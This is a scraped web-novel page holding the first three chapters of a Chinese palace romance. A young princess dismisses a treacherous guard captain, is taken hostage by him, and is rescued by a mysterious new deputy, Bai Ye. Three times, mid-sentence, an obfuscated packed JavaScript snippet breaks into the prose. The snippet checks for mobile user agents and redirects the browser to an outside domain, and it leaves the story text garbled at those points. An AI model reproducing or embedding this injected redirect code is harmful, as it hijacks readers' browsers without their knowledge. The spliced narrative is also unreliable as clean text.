《忠犬侍卫是太子殿下》 1. 叛徒 钟慧公主府内,衣着锦绣的下人们正有条不紊地收拾箱笼,眉宇间的愁容仿佛燕京阴沉的天色。 这时节,燕京城各大府邸已陆续在收庄子上的产出,一车一车的年货从角门运进高墙。 唯独钟慧公主府冷冷清清,反而在筹备远行。 “小殿下,不好了!” 大婢女晚晴脚步匆匆,穿过长长的描金彩绘连廊,往寝殿快步走去。 晚晴绕过内殿次间的落霞秋水立屏,来不及站定就疾声道:“小殿下,赵统领拿了调令前来辞行!” 寝殿中暖暖的梨月香清甜温软。 服侍公主喝药的小婢女闻言手一抖,险些把托盘打翻。其余婢女也纷纷面露惊愕。 钟慧公主府卫队大统领赵双全,掌着全府上下的安危,突然请辞了? 嘉琬公主盛霓一张小脸稚气未脱,闻言并未惊惶,垂目遮住眸中情绪。 她从容地把药碗放回托盘,拈起一颗蜜饯放进嘴巴咀嚼,让甜味覆盖了汤药的苦涩。 晚晴忍着哭腔继续禀报:“赵统领已带了调令来,府里却尚未接到继任替补的安排。月底便要启程南下,我们没了卫队统领可怎么办呢?” 若换作寻常公主府,配套班子这种小事自有宗正寺盯着,更有公主的母妃亲自操心。唯独钟慧公主府,自开府之日起便是自生自灭的。 毕竟此间主子的身份实在特殊。 盛霓早已算不得什么皇亲国戚了,不过是个得了封号的前朝遗孤,若把短暂的伪朝也数上,便是前前朝的旧皇族。 新朝的衙门但凡有点眼色,是绝不会对这座公主府表现出尽心的。 赵统领一走,短短数日内,宗正寺不可能费这个心补上空职。 也难怪婢女们都慌了神,十几日后,盛霓就要南下金陵参加祭天大典。遥遥两千里,她大病初愈,这一趟远行本就艰难,若卫队统领撂挑子,一路上的安危便更加没了保障。 盛霓的神情却是超出年龄的沉静,她镇定地漱过口,用丝帕抹抹唇角,软声吩咐:“领赵双全到前殿等我。” 嗓音还是一贯的甜稚,淡然的语气却莫名叫人心安。 服侍进药的小婢女们见公主并不着慌,心神稍定,如常地收拾妥当退了出去,另有婢女端上温水为盛霓净手。 “哎呦我的小祖宗,您怎么不着急呢?” 孙嬷嬷看不下去,急得汗都要下来。 她家小殿下本就年幼娇怯,大病一场后更加安静少语,甚至听到这么大的事连点反应都没有,真个急死人!若大殿下还在世,定能立马拿捏住那姓赵的! 孙嬷嬷苦口婆心道:“小殿下,赶紧想法子留住赵统领吧!他这种男人,所求无非仕途与金银,咱们府上给不了他仕途,金银还是有的,至少求他保咱们平安抵达金陵再回到燕京啊!” 盛霓乖巧点头:“嬷嬷安心。” 她不紧不慢地命婢女替自己更衣,看向铜镜中映出的自己。 十五岁了,两腮还有未褪的婴儿肥,即使不笑也没有什么威严,怎么看都只是个软糯可欺的少女而已,就算故意穿上花青、黛绿这样颜色稳重的衣裳也无济于事。 盛霓暗自叹了口气,命众人都退下,只留晚晴一个。 雕花殿门一关,孙嬷嬷苍老的哭声就从外面传来:“这个混蛋赵双全!若小殿下路上有个什么三长两短,老奴可怎么向去了的大殿下交代啊!” 哭声渐远,大约是被小婢女们劝走了。 盛霓坐在妆台前,抬起只穿着天丝罗袜的秀足,轻轻踢了踢晚晴的小腿,嗔道:“你啊,有什么话不能单独与本宫说,孙嬷嬷年纪大了,何苦当着她的面叫她担心。” 晚晴垂下头,悻悻道:“圣上突然命小殿下南下祭天本就古怪,奴婢心中不安已久,又担心路上舟车劳顿,小殿下的身子吃不消,这节骨眼上赵统领竟要请辞,小殿下的安危更加没了着落,奴婢实在心慌,乱了方寸,是奴婢的不是。” 盛霓哪里不懂得晚晴的一腔忠心,懒洋洋地扑进晚晴怀里,仰起头看她,娇声道:“别担心呀,不是说过了吗,本宫会像姐姐在世时那样,做一个让你们安心的好主子。本宫会保护好自己,也会保护好你们。” 晚晴听公主说得笃定,狐疑:“小殿下已想到挽留赵统领的法子了?” 盛霓不语,只笑笑,明丽的杏眸里闪烁着清朗的光彩。 “走,随本宫去会会赵双全。” 赵双全今日连轻甲都没穿,身形依旧显得魁梧高大,仿佛一头狡猾的猛兽。 一见到嘉琬公主盛霓,他立马单膝跪地,一副不得不走的为难模样。 盛霓在铺着团花琉璃锦的细雕卷叶纹宝椅上落座,一双剪水明眸清透干净,收在身前的双手紧紧捏着柔缎裙裾,对比之下仿佛一头涉世未深的小鹿。 赵双全眼底便又多了几分轻蔑。 嘉琬公主娇娇柔柔,年纪又小,不过是彰显圣上仁德的摆设,赵双全从没将她放在眼里。 好在小公主倾城绝色,赵双全近水楼台,借着每月护送公主去普度寺上香的机会,路上偷瞧几眼,心里就能美滋滋一整日。 但此刻,赵双全迫不及待地将调令递给了婢女晚晴。 这是托了好几层关系才弄到手的调令,凭他的能耐只弄到了从三品侯府的护卫编制。 反正又不真的就职,只在小主子面前把戏做足了便是,重要的是抬身价。 府中卫队只有他这个正统领,副职一直空缺,他一走,卫队主心骨就抽空了,群龙无首。小公主不过是个没出过远门的孩子,必定不敢放他走,还不是他要什么就给什么? 晚晴把调令夺在手里,狠狠剜了赵双全一眼,转身双手呈给公主。 盛霓暗自深吸一口气,端着姐姐那般气定神闲的模样,沉默地扫看下去。 自从姐姐嘉仪公主暴毙,她就是钟慧公主府唯一的主子了。 能否带领大家安全抵达金陵,卫队是关键,这一步绝不能踏错。 半晌,盛霓抬起头,问:“本宫远行在即,赵统领当真要在这时离开吗?” 如软的声音听在赵双全耳中几乎是怯生生的,他嘴角藏住兴奋,搓搓大手,装模作样地叹气:“末将也是万般无奈,那边催得实在紧,还承诺在俸禄外另行给二十两的贴补,小殿下您看这……” “赵双全!”晚晴听得柳眉倒竖,“大殿下和小殿下都待你不薄!” 赵双全老脸一红。 晚晴咬牙啐道:“大殿下在世时,你老娘病重垂危,当时你可是跪在大殿下脚边苦求救命,大殿下心慈,谎称自己病了,唤来太医为你老娘诊治,那是多大的恩情!如今大殿下去了,你老娘还硬朗活着,府里正值用人之际,你就这样扔下嘉琬小殿下?赵双全,你这是恩将仇报!” 赵双全只偷眼去瞧嘉琬公主。 公主还小呢,瞧着淡定,心里肯定吓坏了,琢磨拿什么来挽留自己呢。约莫不止能拿到三五十两的银子,一不做二不休,照着一百两敲一敲! 盛霓抿紧了粉唇,未再多言,扬扬小巧的下巴,示意内侍把东西呈上来。 赵双全眼看着内侍端上笔墨印章,喜得险些把嘴角裂到耳边去。 果然只是个小孩子,吓成这样,竟直接给他开大额银票! 就见嘉琬公主利落地拿起宝印,在调令上盖了章。 调令生效。 赵双全呆若木鸡。 “小、小殿下,这、这!” 她签了调令!? 细雕卷叶纹宝椅上,盛霓垂目理理大袖上的褶皱,小脸明明还是一样的稚气,神情却有种不可侵犯的凛然。 盛霓真心实意地道:“赵统领,本宫愿你日后前程似锦。” 这嗓音真是绵软动听,从前赵双全每次听到都酥酥麻麻,当下只觉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孙嬷嬷张张口,想说什么,却发现自己无可反驳。 “宗正寺不管我们也不怕,卫队里有的是好儿郎,本宫不信挑不出一个堪做大统领的人来。” 望着小公主娇美稚嫩的面庞,有那么一瞬间,孙嬷嬷恍惚又见到了逝去的嘉仪大殿下。 小殿下,长大了啊…… 孙嬷嬷缓缓点点头,背过身,用干糙的手背抹了抹湿润的眼睛。 盛霓嫣然一笑,道:“来人,盯着赵双全离开,本宫要他这等欺主之辈再不许踏入我钟慧公主府的大门。” 赵双全回到罩房寝舍,阴着脸收拾包袱铺盖。 调令不是儿戏,玩火烧身,这下不得不真去做个鞍前马后的破护卫了。 呸!那小公主弱唧唧的模样,还强装大人样子,离了他,哪里找得到更好的统领?有她哭的时候! 赵双全越想越窝火,手一用力,将调令折书生生捏作了一团。 也无人送一送他,赵双全只得亲自背着沉重的包袱去北府门。 “哎、哎,赵统领看路……” 赵双全一肚子火闷头走,压根没听见内侍的提醒,一头与人迎面撞了上去。 “妈的!哪个没长眼——” 赵双全才要骂,一抬头,猛然迎上一双冷若寒潭的眸子,骂声就被这股寒意生生逼回了喉咙。 那人眉头微微蹙起,赵双全一个彪悍汉子莫名觉得脊背发凉,不由自主后退了半步,定睛扫量了一眼。 那是个面容清俊的年轻人,身形颀长悦目,站定的仪态沉稳高华,冷厉的眸底像是幽邃的洞穴,让人看一眼就仿佛要掉进去经受千刀万剐,莫敢直视。 再一看,原来只穿着一身寻常面料的鸦青衣衫,亲自背着个简素的包袱,身后半个仆从也无,并不似什么勋贵子弟。 瞧着,竟像是来投奔的? 投奔到这鸟不拉屎的破地方? 赵双全惊疑:“这位是?” 接引内侍赔笑:“这位是咱们钟慧公主府新来的卫队副统领,今日到任。” 2. 得救 “那是谁?” 钟慧公主府前殿的聆风楼上,盛霓立于朱漆栏杆后,问向身后的内侍。 她特意来亲眼看着赵双全离开,却看到了一位不速之客。 生面孔,寻常装束,仪态间却隐隐有种风度卓然之感。 盛霓微微蹙眉。 很快,内侍打听了消息回禀:“是宗正寺新调来的卫队副统领,正在殿前等候拜见小殿下。” “卫队副统领?”盛霓讶然。 府里自始空缺的这一职补上了?宗正寺何时如此雪中送炭过? 孙嬷嬷也才得了消息,顾不得老腿酸痛,连忙上楼来寻公主。 晚晴正将一件白狐裘斗篷披在盛霓瘦削的肩头,仔细系着带子。 孙嬷嬷喜上眉梢地道:“小殿下,咱们钟慧公主府可算时来运转,才走了一个靠不住的赵双全,正巧补进新人。小殿下吉星高照,这回南下之行不愁了!” 盛霓没有立刻回应,待晚晴系好斗篷,双手撑住栏杆往下望去,稚嫩的小脸略显严肃。 孙嬷嬷忍不住催促道:“小殿下快去玉华殿召见此人吧,算他好运,才来便能从副职提为正职大统领。” 晚晴见公主神情有异,小声问:“小殿下瞧此人有什么不妥吗?” 盛霓轻轻吸了口气,很想把一瞬间的直觉说出来。危险的直觉,虚无缥缈,却又强烈真切。 但话到嘴边,还是觉得太过疑神疑鬼了,难免令人觉得她胆小怯懦、不堪依附。 殿前的男人似乎有所察觉,忽然仰起头,精准无误地对上了盛霓的视线。一种森冷的寒凉感沿着脊背瞬间蔓延。 下一刻,仿佛方才只是错觉,那人分明眉目朗澈,朝她的方向恭敬深施一礼。身边几个内侍顺着他的目光望上来,发现公主就在聆风楼上,也跟着遥遥见礼。 一时间所有的紧张与不安都消失无痕,楼下之人明明只是个明净无邪的寻常青年。 错觉吗? “小殿下?”晚晴察觉到公主脸色的微妙变化,不明所以。 “本宫不收这个人。”盛霓忽然道。 哎?晚晴有点懵。 公主已许久不曾任性了。 孙嬷嬷愣了愣,提高了音调:“小殿下,此事不是儿戏,总得有个理由吧?” 孙嬷嬷是太后身边出来的老嬷嬷了,手段见识非同一般,又看着嘉仪和嘉琬二位公主长大,地位远非一般下人可以相提并论。 嘉仪公主在时,事事打理得井井有条,孙嬷嬷自然不多干涉。然而自从嘉仪公主薨逝,孙嬷嬷见嘉琬公主幼小,又没拿过什么主意,不免一万个不放心,处处都想替她盯着。 盛霓把嘴边的“本宫瞧此人有些古怪”的臆测咽了回去,换了一套更大气成熟的说辞:“卫队统领必当是个有真本事的,此人生得太过干净俊俏,人也太清瘦了些,怕不是个绣花枕头,还是算了。” 孙嬷嬷果然没法再劝。 “孙嬷嬷年纪大了,盯着行装事宜已累了半日,”盛霓对两个小婢女道,“扶嬷嬷回去睡一会儿。” 一经提醒,孙嬷嬷的确觉得有点乏了。瞧着小殿下言行间已有大殿下的风姿,行事也进退有度,孙嬷嬷将心底的不放心尽力收了收,颔首告退。 晚晴自去传话,盛霓依旧望着楼下之人,手指不自觉握紧了栏杆。 她不是一个人,她必须对所有随行之人负责,南下路上的安危必须交到一个全然可信的人手中。 这个陌生人,不可以。 晚晴领命而去,很快又返回。 那人不肯走,轻飘飘两句话就辩驳得晚晴哑口无言。差事没办成,晚晴只能先回来复命。 可是公主已不在楼上,晚晴从内侍处得知,公主去了书房作画。 公主自幼体弱多病,不常在外走动,唯一的嗜好就是作画。自从病势大好,公主唯一能疏解哀思的方式也只有作画,一画就是一两个时辰,不许人中途打扰。 晚晴想着那人还在殿前候着,不禁发愁。 书房内未留人服侍,盛霓清清静静,素手揽袖,宣毫沾墨,熟稔勾勒。 梁上垂下数条丝线,悬吊着一幅幅装裱精致的美人图,将嘉仪公主描摹得栩栩如生。槅窗被吹开,冷风灌入,画卷摇乱。 天色阴沉了数日,这场雨总算要落下来。盛霓用镇尺压好纸角,亲去关窗。 突然,窗口撞进一团巨大的黑影。 盛霓瞳孔骤缩。 一声惊呼堵在喉咙,盛霓本能地倒退两步,一个高大魁梧的蒙面男人在她方才站立过的地方重重落脚。 四目相对,两厢惊恐。 男人显然没料到房中会有人。 盛霓来不及思考他是如何摸进来的,张口便要喊人求救,男人已经先一步上前,死死捂住了她的嘴,摸出一把割熟肉的小刀抵在她细嫩的颈间。 “莫喊,带我去拿钱匣子,若被人发觉,我就……我就斩断你的脖子!” 男人用力压低了嗓音,掩盖自己原本的音色。 少女柔弱纤细,根本不需花多少力气就能死死按住,男人见她没有无谓挣扎,松开了她的嘴。 冰凉的利刃贴着皮肤,盛霓竭力稳住乱撞的心脏,开口时,甜软的音色里多了几分冷意:“本宫记得不曾亏待过你,赵双全。” 赵双全没想到自己这么快就被认了出来。 他咬着后槽牙恶狠狠道:“不曾亏待?别当赵某是傻子,赵某前脚还没迈出大门,继任已到殿前报到了!赵某还纳闷,小殿下二话不说将赵某扫地出门,原来早有准备!” 原来是恼恨这个。盛霓道:“宗正寺一向如何对待钟慧公主府,你难道不清楚?此事能不能由本宫提前安排或事先预知,你仔细想想。” 赵双全手上的力道不肯放松。 再同此人细数从前的厚待已经没有意义,盛霓认清现实,尽力镇定下来:“你要银钱,本宫给你便是。” 赵双全威胁:“让外面的人都退下,不许叫人发现!” 盛霓从善如流,提声吩咐:“云墨,带人都退下,本宫要一个人安静地读书。” 门外静了一瞬。 赵双全刚要起疑,就听婢女脆声应道:“是,小殿下。” 稍待片刻,约莫外间下人已经撤去,赵双全一手勒着盛霓,一手推开了书房大门。 书房大门一开,赵双全险些气晕。 外间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000576|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌泱泱全是人,内侍婢女一个个抄着家伙,举烛台的,拿掸子的,无不如临大敌地瞪视着蒙面的赵双全。 蒙面这种事,在熟人面前是不管用的。 为首的一个内侍大声喝道:“姓赵的狗贼!还不快放了咱家小殿下!” 赵双全强压下慌乱,钳着盛霓往后退了几步,攥着小刀的手紧了又松,怒吼道:“小殿下到底怎么报的信!他们是怎么发现的!” 盛霓用力偏开脖颈,避着锋利的刀刃,只得回答他:“方才本宫唤的名字是‘云墨’,而府里……已经没有叫云墨的人了。” 婢女云墨,早已随姐姐一起去了。这件内情,外院守卫的赵双全并不知晓。 “你!”赵双全压根没想到自己会栽在一个十五岁小女郎的身上。 赵双全恨极,血往头顶上冲,小刀在盛霓美丽的脖颈上划出一道细细的血痕。 殿内顿时响起一阵惊呼喧哗。 “都退后!”赵双全大吼。 盛霓担心赵双全破罐破摔,道:“此处狭窄,到院中说话!” 院中能施展开手脚,要进要退都方便,赵双全自然答应。 一群人整体移动着往外退,谁都不敢放松警惕。 到了宽阔中庭,前院的卫队也已赶到,一柄柄窄背长刀泛着森寒刃光。 狂风卷拂着盛霓的长发和裙裾,盛霓从头到脚都是冷的。 但她神情里还是如常的镇定,尽力压稳了声音,道:“本宫给你一个选择,你现在放开本宫,本宫放你走,就当你从未来过,不会追究,如何?” 赵双全没想到半大的小公主居然还没吓哭,他被重重包围,反而粗声笑起来:“小殿下,这就是钟慧公主府的卫队,赵某潜入内殿而无一人察觉,直到此刻才亮出兵刃,不觉得太晚了吗?” “其实此事简单,”赵双全勒紧了弱柳扶风的小公主,“叫人取五百两的银票来,今夜关闭城门前送赵某离开燕京,再不回来打扰小殿下,就算结了!” 盛霓清艳的小脸已经发白,她用力扒着赵双全铁棍一般的手臂,费力地道:“五百两算什么?有件盛氏传族的宝物,今日赠与你,你取了快快地走,不许再回来。” 盛霓仰起头,秀美的脸庞向上凑去,似乎想对他耳语宝物的位置。 少女的甜香丝丝缕缕缠绕过来,赵双全并未多想,下意识低头附耳过去。 下一刻,他的耳朵被整齐的小牙咬住,撕裂般剧痛。 赵双全痛叫一声,本能地将臂弯里的人甩开。 盛霓趁这空挡连忙往后闪,赵双全大手一捞,扯向她纤细的手腕。 只听“咔嚓”一声响,疾风拂面。 随着赵双全又一声痛叫,盛霓跌进了一个温暖坚硬的怀抱,被一只有力的手臂稳稳托住后腰,半点没摔到她。 盛霓诧异抬眼,撞上了陌生男人的视线。 一双星眸漆黑如夜,带着几分与燕京繁华格格不入的苍凛孤绝。 熟悉又令人抗拒的感觉透过那双星眸锋利袭来,就像记忆深处在哪儿见过。 盛霓茫然间,陌生男人已松开了她,后撤一步,单膝点地,恭敬行礼:“卫队副统领白夜,拜见嘉琬殿下。” 3. 邪神 名叫白夜的年轻男人嗓音清澈沉稳。 “平、平身。”盛霓惊魂未定地道。 白夜奉命站起,简素革带勒出劲瘦腰身,充满干净明朗的少年感,却又英气逼人,仿佛筑起一堵无形的墙,将险恶悉数拦在了身后。 晚晴连忙挤上前扶住盛霓,目光直愣愣盯着白夜,怔忪地问:“小殿下,他、他就是那个……绣花枕头?” 盛霓真想掐一把晚晴提醒她小点声,白夜俊朗的面上已然露出困惑:“什么枕头?” 晚晴的脸腾地涨红。 在场数十家臣仆婢目光聚在白夜身上,被他方才出手的气场所摄,全都下意识敛声屏气,在赵双全的痛嚎声里听清了晚晴那句“绣花枕头”。 盛霓清清喉咙:“她说,本宫的绣花枕头用旧了一只,该换一只新的。” 白夜并未追问什么。 赵双全破口大骂:“小殿下果然早就找到了更好的,所以今日趁机一脚踢开赵某!” 晚晴瞪圆了眼睛,大声啐道:“少血口喷人!小殿下根本不认识这位郎君。” “根本不认识?宗正寺什么德行老子最清楚!这小白脸看皮囊也不会是宗正寺肯给钟慧公主府的货色,今日能到这儿来,指不定是哪路面首上了台面呢!” “胡说什么呢!”晚晴气得脸通红,恨不得上前撕了赵双全那张脏嘴。 “赵双全,这是你与钟慧公主府之间的事,莫牵扯旁人。” 盛霓肃然打断了两人的对吵。 “只要对钟慧公主府忠心,本宫不会抛下任何一人。赵双全,是你先背叛了本宫。” 赵双全的视线越过白夜,愤愤落在盛霓那张稚嫩又甜美的脸蛋上。 “赵双全,你要银钱,给本宫一个正当的理由,本宫自不会小气,可你先是乘危敲诈,后又干起偷盗的勾当,盗不成就明抢,俱是小人行径。由此看来,签了你的调离令,果然是最正确的选择,否则南下路上还不知会发生什么。” 这是盛霓第一次站在全府面前训话。上一次,她还是坐在姐姐身边心不在焉听讲的小少女。 自从姐姐暴毙,盛霓一直缠绵病榻,此刻,本就缺少血色的小脸由于过度惊吓而愈加苍白如玉。但即便苍白纤弱,偌大中庭间所有人屏息聆听,落针可闻。 “只要你等恪守一个‘忠’字,本宫必不相负。但若生了异心,本宫也绝不养虎为患。” 众人齐声应诺。 白夜默然凝视一脸肃然的小公主,目光仿佛穿透了她纤细的身体望向岁月中的某一处,眸色幽沉。 劲风卷拂公主的裙摆和广袖,雨滴落下,晚晴赶紧从小婢女上手接过油纸伞,为公主撑开,温声道:“小殿下身子才好些,不可受寒,回寝殿暖暖吧。” 盛霓点头,睨向赵双全,冷然道:“离开燕京,别让本宫再见到你。” 盛霓清艳的小脸凛然生威,说罢,随晚晴转身离去。 白夜垂首提醒:“小殿下,就这样放走逆贼吗?” 赵双全简直恨死这个新来的小白脸,大骂:“娘的!你还想把老子斩草除根?” 盛霓才转头,就见赵双全蓄力一跃,平地挺起,出其不意抽走了一个侍卫的腰间佩刀,冲着白夜当头劈砍下去。 变故发生得太快,眼看要出人命,盛霓浑身的血都冲上了头顶。 “当心——” 她才吐出两个字,就见白夜下盘未动,身子微侧,在毫厘之间从容避开了那拼尽全力的一刀。 当着昔日主子与下属的面,赵双全明白自己最后的尊严全押在了此刻,手腕一翻,顺势横斩。 白夜微微抬手,修长的手指向刀身上轻轻一弹。 仿佛被一股绵绵不绝的真力推着,赵双全手上长刀就在距白夜分毫处失了控,猛地甩回赵双全自己的脖颈处—— 一记反杀,鲜血喷溅。 所有人甚至都没看清发生了什么,就见赵双全笔直仰倒,脖颈被涌出的鲜血染得看不出原本的肤色。 热血溅在白夜毫无表情的脸上,衬得那张原本干净的面庞森然如魔。 “杀人了!” “杀人了——” 此起彼伏的惊叫声哗然炸响。 过度紧绷的神经再也强撑不住,脑海中铮然弦断。 “小殿下,小殿下!” 盛霓脸色苍白如纸,软绵绵倒进晚晴怀里,失去了意识。 …… 盛霓惊醒的时候,已是掌灯时分,窗外雷雨大作,冷风呼啸。 晚晴见公主醒了,忙坐到寝床边紧紧握住她的手。 盛霓惊恐地望着帐顶,脖颈处的细长刀伤隐隐作痛,被挟持的记忆慢慢回拢,昏倒前最后的血色在眼前乍现。 “小殿下,还疼吗?” 晚晴心疼地为公主吹了吹颈上覆着柔软纱布的伤处。 伤口不深,出了点血,已处理干净。这种表皮的划伤很疼,小公主娇养长大,哪里经受过这个? 盛霓突然想起了什么,一把反握住晚晴的手,“赵双全怎么样了?” 钟慧公主府无过无错尚且风雨飘摇,倘若在这节骨眼上出了命案,处境只会更糟。 晚晴放柔了声音:“小殿下宽心,赵双全还活着。” 赵双全动脉伤口不大,按压施救及时,捡回一条命来。 “只是……”晚晴欲言又止,神情间露出几分畏惧瑟缩。 只是,赵双全虽然没死,却被白夜当众斩断三指。 一刀,齐根。 孙嬷嬷年纪大了,被小婢女们力劝不要上前,可她实在担心公主府闹出人命,非要亲自瞧瞧赵双全的死活,正好看见白夜挥刀砍下赵双全三根手指,比她家几个儿媳切菜还利落。 孙嬷嬷当场就吐了,到这会儿还难受得起不来床呢。 盛霓听完,本就苍白的小脸更加面如土色, 聆风楼上强烈的危险的直觉,没想到这么快就被印证成了现实。 “他走了吗?”盛霓问。 晚晴明白这个“他”指的是白夜。 “还、还在府里。”晚晴支吾着,指指刚刚端上桌的精致粥菜,“小殿下还饿着,先垫垫吧,仔细胃疼。” 有这么一尊邪神矗在府里,盛霓哪里吃得下饭,“他的来历弄清楚了吗?” “宣节副尉,刚从盘州调任入京。” “叫什么名字来着?” “白夜。” 盛霓吩咐:“厚赏白夜,让他走吧。凭这身本事,不愁找不到更好的差事。” “可是……”晚晴有些为难地望了望殿门的方向,只得如实禀道:“白夜一直在殿外守着小殿下,不肯走。他救了小殿下,奴婢不敢擅自强行驱赶,请小殿下恕罪。” 盛霓讶然,板起小脸:“一码归一码,他救了本宫,本宫自会答谢。可是无召却在本宫寝殿前逗留,成何体统?” “成何体统”是从前嘉仪大殿下常挂在嘴边的,如今小殿下学起来,真是有模有样。晚晴福身告罪。 深秋夜寒,雷雨交加,殿门拉开。盛霓头插一对小荷池静步摇,罩一件茶白彩绣披风,站在锦绣婢女的簇拥中,仿若众星拱月。 隔着朦胧的夜雨,廊下明暗交接处侍立着一个挺拔出挑的身影。 “唤白校尉过来。”盛霓软声吩咐。 晚晴撑伞走进雨幕去请白夜。 白夜奉命来到殿前檐下,俯身行礼,动作行云流水,完美得无可挑剔。 他半跪行礼,却不见卑微之态,气度沉静稳重,在艳绝京华的嘉琬公主跟前也毫无局促之意。 盛霓不得不承认,赵双全的质疑十分有理。 宗正寺什么德行她也清楚,从来都是看人下菜碟,怎么可能为前朝公主府安排这样一位本领高强又眉眼出尘的卫队统领? 盛霓伸出白皙的小手,挑起年轻男人的下巴。 闪电撕裂夜幕,映得那双星眸冷若银河、寒如利刃,幽邃不可见底。 年轻的面孔极为清昳俊朗,干净明澈,实在不像个武将粗人。 莫名的熟悉感高高涌起,转瞬即逝,再看时分明就是全然陌生的面孔。 “本宫从前见过你吗?”盛霓歪头端详着,杏眸眨动,不经意暴露出几分天真单纯。 白夜面上如古井无波,羽睫遮下一片看不穿的阴影:“回嘉琬殿下,末将此前无幸得见殿下玉容。” “嗯,平身吧。”盛霓不甚在意地收回小手。 的确想不起在哪儿见过,大概曾有面目相似之人,混淆了。 白夜从容起身,从怀里取出一折文书呈与盛霓,神情清纯的面庞上似乎洋溢着期待。 这是他的调令,盖上钟慧公主府的宝印就能正式生效了。 盛霓没有对婢女下达接受的指令。 她道:“今日遇险,多亏白校尉武艺卓绝,救本宫于危难。” 随即清甜一笑,右颊上一点酒窝浅浅,玉容如画。 晚晴从身后小婢女手上接过早已备好的厚赏,将托盘捧到白夜面前。 白夜的目光在那张面额一千两的银票上停了一瞬,而后收回视线,幽邃的星眸望着光可鉴人的岩板地面,掩住了眼底的玩味。 他似是明白了公主的态度,微微低头的模样仿佛在尽力隐忍失落。 他平静地道:“职责所在,不敢当嘉琬殿下一声谢。” 竟是不肯收下。 盛霓微讶。 宣节副尉只是正八品上,俸禄有限,一千两银票于他而言应当无法拒绝才对。 如此年轻的一个人,一身卓绝武艺,前途无量,难道真的甘心到前朝公主的府邸谋差事? “‘职责所在’,说得好。”盛霓学着姐姐的神情语气,努力为自己增添几分威严,“那本宫便问问你,谁准你擅作主张,砍去赵逆三根手指,事前不曾请示本宫,事后也不曾汇报本宫?” 小小的女郎淡然自若,灯光映在她白得透明的芙蓉面上,风雨雷电都在为她助势。 白夜遭到公主质问,并未惊惶,垂首淡然道:“区区小事,末将未曾想到惊扰殿下。” 他管这叫区区小事!晚晴简直想上前理论,但还是忍住了,没有在外人面前失了公主府的规矩。 白夜道:“据末将所知,以钟慧公主府的处境,京兆府和宗正寺只会袖手旁观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000577|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赵逆之案只能在府里私了。” 白夜的视线停在盛霓覆着轻薄纱布的颈间。 “末将断赵逆三指,第一指断的是他偷闯内殿、图谋不轨之贼心。” “第二指断的是他挟持公主、以下犯上之奸心。” “第三指断的是他身为前大统领而不能自守之黑心。” 他当着公主府主仆的面,说得不疾不徐。 “嘉琬殿下,末将当众断此三心,以儆效尤,令府中上下人等共见,再不敢生出恶念,殿下方能安枕而无后忧,不是吗?” 盛霓眼角抽了抽。这般说来,她非但不该送客,还要多谢他自作主张了? “嘉琬殿下安心,末将在一日,便不惜一切代价护殿下周全。” “本宫说过要收下你的调令吗?”盛霓不急不躁,笑得甜软。 天然柔糯的声线几乎被风雨声吞没,但白夜显然听得很清楚,几不可见地蹙了蹙眉心。 “白校尉,你本领过人,前程无限,不必在此处屈就。” 这并不是谦辞。钟慧公主府这种地方,最无前程可言,单是服侍过前朝公主府的履历,对于升迁之路都是减分项。 盛霓亲手从托盘内拿起银票,对折,再对折,上前一步,玉指微微勾起白夜的衣襟,将银票塞了进去。 “白校尉,有缘再会。云朱,送一送。” 一双清丽的杏眸分明在说“不要再见了”。说罢,盛霓转身自回寝殿,留下一个不容抗命的窈窕背影。 云朱看出白夜似要跟上来,抢先一步拦在白夜跟前,福身一礼,笑着道:“我家小殿下畏寒,已在风中陪白校尉说了好半晌的话,若染上风寒,白校尉心里定也过意不去。” 白夜望着盛霓消失的方向,眸色幽幽,半晌,他从怀里取出那张价值千两的银票,双手递给云朱。 云朱自然不敢替公主做这个主,正要推拒,却在与白夜对视的一刻怔住。 那双明亮的眼睛在夜色里瞧得不甚清晰,可是就在对视的一瞬,一股强劲的威慑与寒意顺着云朱的脚底一直冲上头顶。 已到嘴边的言辞就在这一眼里消散无踪,云朱回过神时,银票已被自己拿在手中,那个男人也已在内侍的引领下走远了。 云朱看看渐行渐远的提灯光亮,又看看手中的银票,有些懊恼地拍了拍额头。她一向算得上伶牙俐齿,大概是最近筹备远行事宜太累了,方才没能反应过来,这才办砸了公主的差事。 盛霓回到日常起居的东次间,在婢女的服侍下换上寝衣,缩进绵软厚实的锦被里。 晚晴把金丝炭盆挪到公主的寝床前,忍不住道:“奴婢瞧着,这个白夜行事虽出格了些,到底比赵双全可靠许多,人也端正有礼。南下路上,小殿下很需要一个有真本事的人保卫,为什么退回他的调令呢?” 盛霓拥着被子横了晚晴一眼,用枕头蒙住脸。不听不听,晚晴念经。 晚晴拿她没办法。 片刻后,盛霓翻身坐起。 晚晴转喜:“改主意啦?” 盛霓抚着扁扁的小肚子:“没,饿了……” 晚晴:“……” 盛霓趴在床上晃荡着白皙小巧的脚丫,看晚晴坐在小凳上看顾着炉火,想了想,道:“本宫是觉着,还有十几日就要出发,新人来不及从头培养忠心,还是起用卫队里多年的心腹更为稳妥。” 晚晴哼道:“小殿下这些冠冕堂皇的说辞也就专门说给孙嬷嬷听,咱们小殿下呀不知心里打什么小算盘呢。” 